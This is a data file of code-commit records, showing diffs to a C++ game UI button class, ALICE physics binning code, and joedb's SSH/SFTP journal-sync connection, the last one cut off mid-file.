{"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2013-2014 Christoph Malek\n\/\/ See LICENSE for more information.\n\/\/\n\n#ifndef RJ_UI_CONNECTED_BUTTONS_HPP\n#define RJ_UI_CONNECTED_BUTTONS_HPP\n\n\n#include \"button.hpp\"\n#include <rectojump\/global\/common.hpp>\n\n#include <mlk\/signals_slots\/slot.h>\n\n\nnamespace rj\n{\n\tnamespace ui\n\t{\n\t\ttemplate<typename T>\n\t\tusing btn_ptr = mlk::sptr<T>;\n\n\t\tusing base_btn_ptr = btn_ptr<button>;\n\n\t\tclass connected_buttons : public sf::Drawable\n\t\t{\n\t\t\tstd::map<int, base_btn_ptr> m_buttons;\n\t\t\tint m_current_pressed_index{0};\n\t\t\tint m_current_add_index{0};\n\n\t\tpublic:\n\t\t\tmlk::slot<base_btn_ptr&> on_active_button;\n\t\t\tmlk::slot<base_btn_ptr&> on_inactive_button;\n\n\t\t\tconnected_buttons() = default;\n\n\t\t\tvoid update(dur duration)\n\t\t\t{\n\t\t\t\tfor(auto& a : m_buttons)\n\t\t\t\t{\n\t\t\t\t\t\/\/ update all buttons\n\t\t\t\t\ta.second->update(duration);\n\n\t\t\t\t\t\/\/ get current pressed button\n\t\t\t\t\ton_inactive_button(a.second);\n\t\t\t\t\tif(a.second->is_pressed())\n\t\t\t\t\t\tm_current_pressed_index = a.first;\n\t\t\t\t}\n\t\t\t\t\/\/ call the custom user settings\n\t\t\t\tif(m_current_pressed_index != -1)\n\t\t\t\t\ton_active_button(m_buttons[m_current_pressed_index]);\n\t\t\t}\n\n\t\t\ttemplate<typename Button_Type, typename... Args>\n\t\t\tbtn_ptr<Button_Type> add_button(Args&&... args)\n\t\t\t{\n\t\t\t\tauto ptr(std::make_shared<Button_Type>(std::forward<Args>(args)...));\n\t\t\t\tm_buttons.emplace(m_current_add_index, ptr);\n\t\t\t\t++m_current_add_index;\n\t\t\t\treturn ptr;\n\t\t\t}\n\n\t\t\tvoid inactivate() noexcept\n\t\t\t{m_current_pressed_index = -1;}\n\n\t\t\tconst base_btn_ptr& get_active_btn() const noexcept\n\t\t\t{return m_buttons.at(m_current_pressed_index);}\n\n\t\tprivate:\n\t\t\tvoid draw(sf::RenderTarget& target, sf::RenderStates states) const override\n\t\t\t{\n\t\t\t\tfor(auto& a : m_buttons)\n\t\t\t\t\ttarget.draw(*a.second, states);\n\t\t\t}\n\t\t};\n\t}\n}\n\n\n#endif \/\/ RJ_UI_CONNECTED_BUTTONS_HPP\n<commit_msg>connected_buttons: added possibility to set custom events<commit_after>\/\/\n\/\/ Copyright (c) 2013-2014 Christoph Malek\n\/\/ See LICENSE for more information.\n\/\/\n\n#ifndef RJ_UI_CONNECTED_BUTTONS_HPP\n#define RJ_UI_CONNECTED_BUTTONS_HPP\n\n\n#include \"button.hpp\"\n#include <rectojump\/global\/common.hpp>\n\n#include <mlk\/signals_slots\/slot.h>\n\n\nnamespace rj\n{\n\tnamespace ui\n\t{\n\t\ttemplate<typename T>\n\t\tusing btn_ptr = mlk::sptr<T>;\n\n\t\tusing base_btn_ptr = btn_ptr<button>;\n\n\t\tstruct button_event\n\t\t{base_btn_ptr button; mlk::slot<> event;};\n\n\t\tclass connected_buttons : public sf::Drawable\n\t\t{\n\t\t\tstd::map<int, button_event> m_buttons;\n\t\t\tint m_current_pressed_index{0};\n\t\t\tint m_current_add_index{0};\n\n\t\tpublic:\n\t\t\tmlk::slot<base_btn_ptr&> on_active_button;\n\t\t\tmlk::slot<base_btn_ptr&> on_inactive_button;\n\n\t\t\tconnected_buttons() = default;\n\n\t\t\tvoid update(dur duration)\n\t\t\t{\n\t\t\t\tfor(auto& a : m_buttons)\n\t\t\t\t{\n\t\t\t\t\t\/\/ update all buttons\n\t\t\t\t\ta.second.button->update(duration);\n\n\t\t\t\t\t\/\/ get current pressed button\n\t\t\t\t\ton_inactive_button(a.second.button);\n\t\t\t\t\tif(a.second.button->is_pressed())\n\t\t\t\t\t{\n\t\t\t\t\t\tm_current_pressed_index = a.first;\n\t\t\t\t\t\ta.second.event();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\/\/ call the custom user settings\n\t\t\t\tif(m_current_pressed_index != -1)\n\t\t\t\t\ton_active_button(m_buttons[m_current_pressed_index].button);\n\t\t\t}\n\n\t\t\ttemplate<typename Button_Type, typename... Args>\n\t\t\tbtn_ptr<Button_Type> add_button(Args&&... args)\n\t\t\t{\n\t\t\t\tauto ptr(std::make_shared<Button_Type>(std::forward<Args>(args)...));\n\t\t\t\tm_buttons.emplace(m_current_add_index, button_event{ptr, {}});\n\t\t\t\t++m_current_add_index;\n\t\t\t\treturn ptr;\n\t\t\t}\n\n\t\t\ttemplate<typename Button_Type, typename Func, typename... Args>\n\t\t\tbtn_ptr<Button_Type> add_button_event(Func&& f, Args&&... args)\n\t\t\t{\n\t\t\t\tauto ptr(std::make_shared<Button_Type>(std::forward<Args>(args)...));\n\t\t\t\tm_buttons.emplace(m_current_add_index, button_event{ptr, {f}});\n\t\t\t\t++m_current_add_index;\n\t\t\t\treturn ptr;\n\t\t\t}\n\n\t\t\tvoid inactivate() noexcept\n\t\t\t{m_current_pressed_index = -1;}\n\n\t\t\tconst base_btn_ptr& get_active_btn() const noexcept\n\t\t\t{return m_buttons.at(m_current_pressed_index).button;}\n\n\t\tprivate:\n\t\t\tvoid draw(sf::RenderTarget& target, sf::RenderStates states) const override\n\t\t\t{\n\t\t\t\tfor(auto& a : m_buttons)\n\t\t\t\t\ttarget.draw(*a.second.button, states);\n\t\t\t}\n\t\t};\n\t}\n}\n\n\n#endif \/\/ RJ_UI_CONNECTED_BUTTONS_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/**************************************************************************\n * Copyright(c) 1998-2014, ALICE Experiment at CERN, All rights reserved. *\n *                                                                        *\n * Author: The ALICE Off-line Project.                                    *\n * Contributors are mentioned in the code where appropriate.              *\n *                                                                        *\n * Permission to use, copy, modify and distribute this software and its   *\n * documentation strictly for non-commercial purposes is hereby granted   *\n * without fee, provided that the above copyright notice appears in all   *\n * copies and that both the copyright notice and this permission notice   *\n * appear in the supporting documentation. The authors make no claims     *\n * about the suitability of this software for any purpose. It is          *\n * provided \"as is\" without express or implied warranty.                  *\n **************************************************************************\/\n\/*\n * Create default binning and initalise the binning component with this. In case\n * users already defined a binning, do not overwrite this.\n *\n *   Author: Markus Fasel\n *\/\n#include \"AliEMCalTriggerBinningComponent.h\"\n#include \"AliEMCalTriggerBinningFactory.h\"\n#include <map>\n#include <vector>\n#include <TMath.h>\n#include <TArrayD.h>\n\nnamespace EMCalTriggerPtAnalysis {\n\n\/\/______________________________________________________________________________\nAliEMCalTriggerBinningFactory::AliEMCalTriggerBinningFactory() {\n  \/*\n   * Default constructor, nothing to do\n   *\/\n}\n\n\n\/\/______________________________________________________________________________\nvoid AliEMCalTriggerBinningFactory::Create(AliEMCalTriggerBinningComponent* const data) {\n  \/*\n   * Initialise binning component with default binning\n   *\n   * @param data: the binning component to be initialised\n   *\/\n  TArrayD binLimits;\n  if(!data->GetBinning(\"pt\")){\n    CreateDefaultPtBinning(binLimits);\n    data->SetBinning(\"pt\", binLimits);\n  }\n  if(!data->GetBinning(\"eta\")){\n    CreateDefaultEtaBinning(binLimits);\n    data->SetBinning(\"eta\", binLimits);\n  }\n  if(!data->GetBinning(\"phi\")){\n    CreateLinearBinning(binLimits, 100, 0, 2*TMath::Pi());\n    data->SetBinning(\"phi\", binLimits);\n  }\n  if(!data->GetBinning(\"zvertex\")){\n    CreateDefaultZVertexBinning(binLimits);\n    data->SetBinning(\"zvertex\", binLimits);\n  }\n  if(!data->GetBinning(\"centrality\")){\n\tCreateLinearBinning(binLimits, 5, 0., 100.);\n\tdata->SetBinning(\"centrality\", binLimits);\n  }\n}\n\n\/\/______________________________________________________________________________\nvoid AliEMCalTriggerBinningFactory::CreateDefaultPtBinning(TArrayD &binning) const{\n  \/*\n   * Creating the default pt binning.\n   *\n   * @param binning: Array where to store the results.\n   *\/\n  std::vector<double> mybinning;\n  std::map<double,double> definitions;\n  definitions.insert(std::pair<double,double>(2.5, 0.1));\n  definitions.insert(std::pair<double,double>(7., 0.25));\n  definitions.insert(std::pair<double,double>(15., 0.5));\n  definitions.insert(std::pair<double,double>(25., 1.));\n  definitions.insert(std::pair<double,double>(40., 2.5));\n  definitions.insert(std::pair<double,double>(50., 5.));\n  definitions.insert(std::pair<double,double>(100., 10.));\n  definitions.insert(std::pair<double, double>(200., 20.));\n  double currentval = 0;\n  for(std::map<double,double>::iterator id = definitions.begin(); id != definitions.end(); ++id){\n    double limit = id->first, binwidth = id->second;\n    while(currentval < limit){\n      currentval += binwidth;\n      mybinning.push_back(currentval);\n    }\n  }\n  binning.Set(mybinning.size());\n  int ib = 0;\n  for(std::vector<double>::iterator it = mybinning.begin(); it != mybinning.end(); ++it)\n    binning[ib++] = *it;\n}\n\n\/\/______________________________________________________________________________\nvoid AliEMCalTriggerBinningFactory::CreateDefaultZVertexBinning(TArrayD &binning) const {\n  \/*\n   * Creating default z-Vertex binning.\n   *\n   * @param binning: Array where to store the results.\n   *\/\n  std::vector<double> mybinning;\n  double currentval = -10;\n  mybinning.push_back(currentval);\n  while(currentval < 10.){\n    currentval += 5.;\n    mybinning.push_back(currentval);\n  }\n  binning.Set(mybinning.size());\n  int ib = 0;\n  for(std::vector<double>::iterator it = mybinning.begin(); it != mybinning.end(); ++it)\n    binning[ib++] = *it;\n}\n\n\/\/______________________________________________________________________________\nvoid AliEMCalTriggerBinningFactory::CreateDefaultEtaBinning(TArrayD& binning) const {\n  \/*\n   * Creating default z-Vertex binning.\n   *\n   * @param binning: Array where to store the results.\n   *\/\n  std::vector<double> mybinning;\n  double currentval = -0.8;\n  mybinning.push_back(currentval);\n  while(currentval < 0.8){\n    currentval += 0.1;\n    mybinning.push_back(currentval);\n  }\n  binning.Set(mybinning.size());\n  int ib = 0;\n  for(std::vector<double>::iterator it = mybinning.begin(); it != mybinning.end(); ++it)\n    binning[ib++] = *it;\n}\n\n\/\/______________________________________________________________________________\nvoid AliEMCalTriggerBinningFactory::CreateLinearBinning(TArrayD& binning, int nbins, double min, double max) const {\n  \/*\n   * Create any kind of linear binning from given ranges and stores it in the binning array.\n   *\n   * @param binning: output array\n   * @param nbins: Number of bins\n   * @param min: lower range\n   * @param max: upper range\n   *\/\n  double binwidth = (max-min)\/static_cast<double>(nbins);\n  binning.Set(nbins+1);\n  binning[0] = min;\n  double currentlimit = min + binwidth;\n  for(int ibin = 0; ibin < nbins; ibin++){\n    binning[ibin+1] = currentlimit;\n    currentlimit += binwidth;\n  }\n}\n\n} \/* namespace EMCalTriggerPtAnalysis *\/\n<commit_msg>Limit pt range again<commit_after>\/**************************************************************************\n * Copyright(c) 1998-2014, ALICE Experiment at CERN, All rights reserved. *\n *                                                                        *\n * Author: The ALICE Off-line Project.                                    *\n * Contributors are mentioned in the code where appropriate.              *\n *                                                                        *\n * Permission to use, copy, modify and distribute this software and its   *\n * documentation strictly for non-commercial purposes is hereby granted   *\n * without fee, provided that the above copyright notice appears in all   *\n * copies and that both the copyright notice and this permission notice   *\n * appear in the supporting documentation. The authors make no claims     *\n * about the suitability of this software for any purpose. It is          *\n * provided \"as is\" without express or implied warranty.                  *\n **************************************************************************\/\n\/*\n * Create default binning and initalise the binning component with this. In case\n * users already defined a binning, do not overwrite this.\n *\n *   Author: Markus Fasel\n *\/\n#include \"AliEMCalTriggerBinningComponent.h\"\n#include \"AliEMCalTriggerBinningFactory.h\"\n#include <map>\n#include <vector>\n#include <TMath.h>\n#include <TArrayD.h>\n\nnamespace EMCalTriggerPtAnalysis {\n\n\/\/______________________________________________________________________________\nAliEMCalTriggerBinningFactory::AliEMCalTriggerBinningFactory() {\n  \/*\n   * Default constructor, nothing to do\n   *\/\n}\n\n\n\/\/______________________________________________________________________________\nvoid AliEMCalTriggerBinningFactory::Create(AliEMCalTriggerBinningComponent* const data) {\n  \/*\n   * Initialise binning component with default binning\n   *\n   * @param data: the binning component to be initialised\n   *\/\n  TArrayD binLimits;\n  if(!data->GetBinning(\"pt\")){\n    CreateDefaultPtBinning(binLimits);\n    data->SetBinning(\"pt\", binLimits);\n  }\n  if(!data->GetBinning(\"eta\")){\n    CreateDefaultEtaBinning(binLimits);\n    data->SetBinning(\"eta\", binLimits);\n  }\n  if(!data->GetBinning(\"phi\")){\n    CreateLinearBinning(binLimits, 100, 0, 2*TMath::Pi());\n    data->SetBinning(\"phi\", binLimits);\n  }\n  if(!data->GetBinning(\"zvertex\")){\n    CreateDefaultZVertexBinning(binLimits);\n    data->SetBinning(\"zvertex\", binLimits);\n  }\n  if(!data->GetBinning(\"centrality\")){\n\tCreateLinearBinning(binLimits, 5, 0., 100.);\n\tdata->SetBinning(\"centrality\", binLimits);\n  }\n}\n\n\/\/______________________________________________________________________________\nvoid AliEMCalTriggerBinningFactory::CreateDefaultPtBinning(TArrayD &binning) const{\n  \/*\n   * Creating the default pt binning.\n   *\n   * @param binning: Array where to store the results.\n   *\/\n  std::vector<double> mybinning;\n  std::map<double,double> definitions;\n  definitions.insert(std::pair<double,double>(2.5, 0.1));\n  definitions.insert(std::pair<double,double>(7., 0.25));\n  definitions.insert(std::pair<double,double>(15., 0.5));\n  definitions.insert(std::pair<double,double>(25., 1.));\n  definitions.insert(std::pair<double,double>(40., 2.5));\n  definitions.insert(std::pair<double,double>(50., 5.));\n  definitions.insert(std::pair<double,double>(100., 10.));\n  \/\/definitions.insert(std::pair<double, double>(200., 20.));\n  double currentval = 0;\n  for(std::map<double,double>::iterator id = definitions.begin(); id != definitions.end(); ++id){\n    double limit = id->first, binwidth = id->second;\n    while(currentval < limit){\n      currentval += binwidth;\n      mybinning.push_back(currentval);\n    }\n  }\n  binning.Set(mybinning.size());\n  int ib = 0;\n  for(std::vector<double>::iterator it = mybinning.begin(); it != mybinning.end(); ++it)\n    binning[ib++] = *it;\n}\n\n\/\/______________________________________________________________________________\nvoid AliEMCalTriggerBinningFactory::CreateDefaultZVertexBinning(TArrayD &binning) const {\n  \/*\n   * Creating default z-Vertex binning.\n   *\n   * @param binning: Array where to store the results.\n   *\/\n  std::vector<double> mybinning;\n  double currentval = -10;\n  mybinning.push_back(currentval);\n  while(currentval < 10.){\n    currentval += 5.;\n    mybinning.push_back(currentval);\n  }\n  binning.Set(mybinning.size());\n  int ib = 0;\n  for(std::vector<double>::iterator it = mybinning.begin(); it != mybinning.end(); ++it)\n    binning[ib++] = *it;\n}\n\n\/\/______________________________________________________________________________\nvoid AliEMCalTriggerBinningFactory::CreateDefaultEtaBinning(TArrayD& binning) const {\n  \/*\n   * Creating default z-Vertex binning.\n   *\n   * @param binning: Array where to store the results.\n   *\/\n  std::vector<double> mybinning;\n  double currentval = -0.8;\n  mybinning.push_back(currentval);\n  while(currentval < 0.8){\n    currentval += 0.1;\n    mybinning.push_back(currentval);\n  }\n  binning.Set(mybinning.size());\n  int ib = 0;\n  for(std::vector<double>::iterator it = mybinning.begin(); it != mybinning.end(); ++it)\n    binning[ib++] = *it;\n}\n\n\/\/______________________________________________________________________________\nvoid AliEMCalTriggerBinningFactory::CreateLinearBinning(TArrayD& binning, int nbins, double min, double max) const {\n  \/*\n   * Create any kind of linear binning from given ranges and stores it in the binning array.\n   *\n   * @param binning: output array\n   * @param nbins: Number of bins\n   * @param min: lower range\n   * @param max: upper range\n   *\/\n  double binwidth = (max-min)\/static_cast<double>(nbins);\n  binning.Set(nbins+1);\n  binning[0] = min;\n  double currentlimit = min + binwidth;\n  for(int ibin = 0; ibin < nbins; ibin++){\n    binning[ibin+1] = currentlimit;\n    currentlimit += binwidth;\n  }\n}\n\n} \/* namespace EMCalTriggerPtAnalysis *\/\n<|endoftext|>"}
{"text":"<commit_before>#ifdef JOEDB_HAS_SSH\n\n#include \"joedb\/server\/SSH_Connection.h\"\n#include \"joedb\/Exception.h\"\n\n#include <fcntl.h>\n#include <thread>\n#include <chrono>\n#include <iostream>\n\n\/\/\n\/\/ Windows does not define those\n\/\/\n#ifndef S_IRUSR\n#define\tS_IRUSR\t0000400\n#endif\n\n#ifndef S_IWUSR\n#define\tS_IWUSR\t0000200\n#endif\n\nnamespace joedb\n{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Connection::lock()\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  if (trace)\n   std::cerr << full_remote_name << \": lock()... \";\n\n  bool done = false;\n  const int max_attempts = 60;\n\n  for (int attempt = 1; attempt <= max_attempts; attempt++)\n  {\n   sftp_file file = sftp_open\n   (\n    sftp.get(),\n    mutex_file_name.c_str(),\n    O_CREAT | O_EXCL,\n    S_IRUSR\n   );\n\n   if (file)\n   {\n    done = true;\n    sftp_close(file);\n    break;\n   }\n   else\n   {\n    if (trace)\n     std::cerr << \"Retrying(\" << attempt << \"\/\" << max_attempts << \")... \";\n    std::this_thread::sleep_for(std::chrono::seconds(1));\n   }\n  }\n\n  if (trace)\n  {\n   if (done)\n    std::cerr << \"done.\\n\";\n   else\n    std::cerr << \"timeout.\\n\";\n  }\n\n  if (!done)\n   throw Exception(\"SSH_Connection::lock: timeout\");\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Connection::unlock()\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  if (trace)\n   std::cerr << full_remote_name << \": unlock()\\n\";\n\n  if (sftp_unlink(sftp.get(), mutex_file_name.c_str()) < 0)\n   throw Exception(\"Error removing remote mutex\");\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Connection::raw_pull(Journal_File &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  if (trace)\n   std::cerr << full_remote_name << \": pull()... \";\n\n  server_position = 0;\n\n  try\n  {\n   ssh::SFTP_Attributes attributes\n   (\n    sftp_stat(sftp.get(), remote_file_name.c_str())\n   );\n\n   server_position = int64_t(attributes.get()->size);\n  }\n  catch (const joedb::Exception &)\n  {\n  }\n\n  const int64_t client_position = client_journal.get_checkpoint_position();\n\n  if (client_position < server_position)\n  {\n   std::vector<char> v(size_t(server_position - client_position));\n\n   if (trace)\n    std::cerr << v.size() << \" bytes... \";\n\n   sftp_file file = sftp_open\n   (\n    sftp.get(),\n    remote_file_name.c_str(),\n    O_RDONLY,\n    S_IRUSR | S_IWUSR\n   );\n\n   if (file)\n   {\n    const int seek_result = sftp_seek64(file, uint64_t(client_position));\n    const ssize_t read_result = sftp_read(file, v.data(), v.size());\n    sftp_close(file);\n\n    if (seek_result < 0 || read_result != ssize_t(v.size()))\n     throw Exception(\"Error during sftp_read\");\n\n    client_journal.append_raw_tail(v);\n   }\n   else\n    throw Exception(\"Could not open remote file for reading\");\n  }\n  else if (server_position > 0 && client_position > server_position)\n   throw Exception(\"Trying to pull when ahead of server\");\n\n  if (trace)\n   std::cerr << \"done\\n\";\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Connection::raw_push(Readonly_Journal &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  if (trace)\n   std::cerr << full_remote_name << \": push()... \";\n\n  const int64_t client_position = client_journal.get_checkpoint_position();\n  if (client_position > server_position)\n  {\n   std::vector<char> v(client_journal.get_raw_tail(server_position));\n\n   if (trace)\n    std::cerr << v.size() << \" bytes... \";\n\n   sftp_file file = sftp_open\n   (\n    sftp.get(),\n    remote_file_name.c_str(),\n    O_WRONLY | O_CREAT,\n    S_IRUSR | S_IWUSR\n   );\n\n   const int seek_result = sftp_seek64(file, uint64_t(server_position));\n\n   if (file)\n   {\n    \/\/\n    \/\/ https:\/\/tools.ietf.org\/html\/draft-ietf-secsh-filexfer-00\n    \/\/\n    \/\/ The maximum size of a packet is in practise determined by the client\n    \/\/ (the maximum size of read or write requests that it sends, plus a few\n    \/\/ bytes of packet overhead).  All servers SHOULD support packets of at\n    \/\/ least 34000 bytes (where the packet size refers to the full length,\n    \/\/ including the header above).  This should allow for reads and writes of\n    \/\/ at most 32768 bytes.\n    \/\/\n    const size_t max_block_size = 32768;\n    const size_t size = v.size();\n    size_t written = 0;\n\n    while (seek_result >= 0 && written < size)\n    {\n     size_t block_size = size - written;\n\n     if (block_size > max_block_size)\n      block_size = max_block_size;\n\n     const ssize_t result = sftp_write(file, v.data() + written, block_size);\n\n     if (result <= 0)\n      break;\n\n     written += size_t(result);\n    }\n\n    sftp_close(file);\n\n    if (written < size)\n     throw Exception(\"Incomplete write during push\");\n   }\n   else\n    throw Exception(\"Could not open remote file for writing\");\n  }\n\n  if (trace)\n   std::cerr << \"done\\n\";\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n SSH_Connection::SSH_Connection\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n (\n  std::string user,\n  std::string host,\n  int port,\n  std::string remote_file_name,\n  bool trace,\n  int ssh_log_level\n ):\n  remote_file_name(remote_file_name),\n  trace(trace),\n  mutex_file_name(remote_file_name + \".mutex\"),\n  full_remote_name(user + \"@\" + host + \":\" + remote_file_name),\n  session\n  (\n   user,\n   host,\n   port,\n   ssh_log_level\n  ),\n  sftp(session),\n  server_position(0)\n {\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::retry(std::function<void()> f, bool call_reset)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  while (true)\n  {\n   try\n   {\n    f();\n    return;\n   }\n   catch(const std::runtime_error &e)\n   {\n    if (trace)\n     std::cerr << \"Error: \" << e.what() << '\\n';\n   }\n\n   if (trace)\n    std::cerr << \"Sleeping for \" << sleep_time << \" seconds...\\n\";\n\n   std::this_thread::sleep_for(std::chrono::seconds(sleep_time));\n\n   if (call_reset)\n   {\n    if (trace)\n     std::cerr << \"Trying to reconnect... \";\n    try\n    {\n     if (trace)\n      std::cerr << \"Success!\\n\";\n     reset();\n    }\n    catch(const std::runtime_error &e)\n    {\n     if (trace)\n      std::cerr << \"Error: \" << e.what() << '\\n';\n    }\n   }\n  }\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::pull(Journal_File &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  retry\n  (\n   [&client_journal,this](){connection->pull(client_journal);},\n   true\n  );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::lock_pull(Journal_File &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  retry\n  (\n   [&client_journal,this](){connection->lock_pull(client_journal);},\n   true\n  );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::push_unlock(Readonly_Journal &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  retry\n  (\n   [&client_journal,this](){connection->push_unlock(client_journal);},\n   true\n  );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::reset()\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  \/\/ Restoring the server position is better if we reset during a push\n  const int64_t server_position = connection ?\n   connection->server_position : 0;\n\n  connection.reset\n  (\n   new SSH_Connection\n   (\n    user,\n    host,\n    port,\n    remote_file_name,\n    trace,\n    ssh_log_level\n   )\n  );\n\n  connection->server_position = server_position;\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n SSH_Robust_Connection::SSH_Robust_Connection\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n (\n  std::string user,\n  std::string host,\n  int port,\n  std::string remote_file_name,\n  bool trace,\n  int ssh_log_level\n ):\n  user(user),\n  host(host),\n  port(port),\n  remote_file_name(remote_file_name),\n  trace(trace),\n  ssh_log_level(ssh_log_level)\n {\n  retry([this](){reset();}, false);\n }\n}\n\n#endif\n<commit_msg>fix trace of robust connection<commit_after>#ifdef JOEDB_HAS_SSH\n\n#include \"joedb\/server\/SSH_Connection.h\"\n#include \"joedb\/Exception.h\"\n\n#include <fcntl.h>\n#include <thread>\n#include <chrono>\n#include <iostream>\n\n\/\/\n\/\/ Windows does not define those\n\/\/\n#ifndef S_IRUSR\n#define\tS_IRUSR\t0000400\n#endif\n\n#ifndef 